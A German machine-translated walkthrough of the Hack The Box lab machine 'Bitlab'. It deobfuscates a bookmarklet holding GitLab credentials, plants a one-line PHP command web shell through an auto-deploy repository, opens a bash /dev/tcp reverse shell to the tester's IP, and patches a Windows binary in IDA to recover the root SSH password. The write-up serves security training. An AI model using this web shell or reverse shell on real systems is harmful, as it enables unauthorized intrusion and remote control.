Hack The Box - Bitlab-Komplettlösung. Schwache JS-Verschleierung, GIT und umgekehrte Windows-Anwendungen

Bild

In diesem Artikel beginne ich mit der Veröffentlichung von Lösungen, die von der HackTheBox- Site zur weiteren Verarbeitung gesendet wurden. Ich hoffe, dass dies zumindest jemandem hilft, sich auf dem Gebiet der Informationssicherheit weiterzuentwickeln. In diesem Artikel werden wir uns mit ein wenig JavaScript-Verschleierung befassen, die Backdoor über das Git-Repository laden und die 32-Anwendung debuggen.

Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in einem privaten Netzwerk mit Personen enden, die sich mit dem Thema Informationssicherheit auskennen :)

Organisatorische Informationen
Speziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit weiterentwickeln möchten, werde ich folgende Kategorien beschreiben und besprechen:

  • PWN;
  • Kryptographie (Crypto);
  • Netzwerktechnologien (Netzwerk);
  • Reverse (Reverse Engineering);
  • Steganographie (Stegano);
  • Suche und Ausnutzung von WEB-Schwachstellen.

Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.

Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich in Telegram einen Channel und eine Gruppe erstellt, um alle Fragen im Bereich ICD zu diskutieren . Außerdem werde ich Ihre persönlichen Wünsche, Fragen, Vorschläge und Empfehlungen persönlich berücksichtigen und auf alle antworten .

Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die er durch das Studium dieses Dokuments erlangt hat.

Intelligenz


Port-Scan


Dieser Computer hat eine IP-Adresse vom 10.10.10.114, die ich zu / etc / hosts hinzufüge.
10.10.10.114 bitlab.htb
Zuerst scannen wir offene Ports. Da es sehr lange dauert, alle Ports mit nmap zu scannen, mache ich dies zuerst mit Masscan. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 1000 Paketen pro Sekunde.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

Bild

Als Nächstes müssen Sie weitere Informationen zu den uns bekannten Ports sammeln.
nmap -A bitlab.htb -p22,80

Bild

Wie aus dem nmap-Bericht hervorgeht, werden SSH und ein Webserver auf dem Host ausgeführt. Und auf dem Webserver gibt es robots.txt. Nachdem wir die Verzeichnisse aus dieser Liste durchgesehen haben, stellen wir fest, dass gitlab funktioniert und es ein nicht indiziertes Hilfeverzeichnis gibt.

Bild

Auf der Seite mit den Lesezeichen befinden sich mehrere Links.

Bild

Js


Alle zeigen auf die Site eines Produkts, mit Ausnahme der letzten, die keine Adresse, sondern einen JS-Code enthält.

Bild

Was hat dieser Code verschleiert.
 javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })() 

Um einen besser lesbaren Code zu erhalten, können Sie die folgende Site verwenden .

Bild

Nach einer kleinen Verbesserung des Codes erhalten wir die folgenden Anweisungen.
 document.getElementById("user_login").value = "clave"; document.getElementById("user_password").value = "11des0081x"; 

Git


Mit diesen Authentifizierungsdaten sind wir in gitlab autorisiert. Dort finden wir zwei Profile.

Bild

Sie können auch ein Projekt finden, in dem eine Verbindung zur Datenbank besteht, in dem Code stelle ich alle Daten für die Verbindung vor.

Bild

Beim Überprüfen des Profils finden wir nichts interessantes.

Bild

Deployer hat nur PHP-Code.

Bild

Aus diesem Code wird deutlich, dass eine im Profil platzierte Datei auf dem Server bereitgestellt wird.

Einstiegspunkt


Wir müssen eine PHP-Backdoor platzieren. Zum Beispiel eine, die Befehle empfängt und ausführt.
 <?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?> 

Öffnen Sie dazu Profile und erstellen Sie eine neue Datei.

Bild

Bild

Und nach dem Hinzufügen unserer Datei wird im Repository angezeigt.

Bild

Jetzt testen wir die Hintertür.

Bild

Jetzt bekommen wir eine volle Schale.
 bash -i >& /dev/tcp/10.10.15.150/4321 0>&1 

Bild

Und wir sehen die umgekehrte Verbindung zu unserem Gastgeber.

Bild

USER


Sobald Sie sich auf dem Host befinden, müssen Sie die zuvor gekauften Daten unbedingt überprüfen. Dies sind die Daten, um auf die Datenbank zuzugreifen.

Interaktives Öffnen des PHP-Interpreters. Wir verwenden den gefundenen Code und durchsuchen die gefundenen Daten. Benutzerkennwort in base64, dekodiere es.

Bild

Also finden wir das Passwort heraus, das sich anscheinend über SSH verbinden kann. Das hat aber nicht geklappt, da base64 das Passwort ist)).

Bild

Wurzel


Wenn wir uns im Auto umsehen, finden wir eine exe-Datei im Home-Verzeichnis des Benutzers.

Bild

Wir kopieren es zur Analyse auf unseren Host.
 scp clave@10.10.10.114:~/RemoteConnection.exe . 

Öffnen Sie anschließend die Datei in IDA Pro. Scrollen Sie durch die Hauptfunktion main, finden Sie einen Vergleich der Variablen mit dem Benutzernamen und erstellen Sie einen Prozess mit putty - einem Programm für Netzwerkverbindungen.

Bild

Wir können davon ausgehen, dass die Verbindung mit der Bereitstellung von Authentifizierungsdaten hergestellt wird und müssen diese finden. Verbindungsdaten werden als Parameter übergeben, d. H. Variable v3.

Sie können die fertige Zeile während des Debuggens sehen, aber in der IDA stürzt die 32-Bit-Datei ab. Wenn wir Schritt für Schritt debuggen, verstehen wir, dass dies nach dem Aufruf von GetUserNameW geschieht. Wir gehen wie folgt vor.

Setzen Sie BP auf das Namensvergleichsfragment.

Bild

Jetzt setzen wir BP vor dem Laden der Parameter für die Funktion GetUserNameW.

Bild

Führen Sie das Programm im Debugger aus. Das Debuggen wird beendet, bevor die von uns benötigte Funktion aufgerufen wird.

Bild

Jetzt den Code patchen. Anstatt die Parameter zu laden und die Funktion aufzurufen, müssen Sie den NOP-Befehl eingeben. Ich benutze dafür das Keypatch-Plugin.

Bild

Jetzt sieht der Code so aus.

Bild

Lassen Sie uns mit dem Debuggen des Programms fortfahren, damit der Name nicht mehr verglichen wird. Zu diesem Zeitpunkt ist die Adresse der Parameterzeichenfolge bereits in das EAX-Register geladen, um als ShellExecuteW-Parameter übergeben zu werden.

Bild

Klicken Sie nun auf den Pfeil (Sprung in die Demontage) neben dem EAX-Register. Auf diese Weise können Sie im IDA-Hauptfenster zur Adresse von EAX wechseln.

Bild

Diese Adresse enthält die Parameterzeichenfolge. Wie Sie sehen, enthält es den symmetrisch korrekten Text „-ssh root ...“. Jedes Zeichen wird jedoch durch 2 Bytes dargestellt. Drücken Sie Alt + A, um die Zeichenfolge bequem zu sammeln.

Bild

Wählen Sie in diesem Fenster Unicode C-Style (16 Bit). Dann beobachten wir die richtig zusammengesetzte Saite.

Bild

Diese Zeile enthält das root-Passwort. Wir verbinden uns per ssh und holen den Token ab.

Bild

Sie können sich uns per Telegramm anschließen . Bauen wir eine Community auf, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns gegenseitig in allen Fragen der IT- und Informationssicherheit helfen.

Source: https://habr.com/ru/post/de483646/


All Articles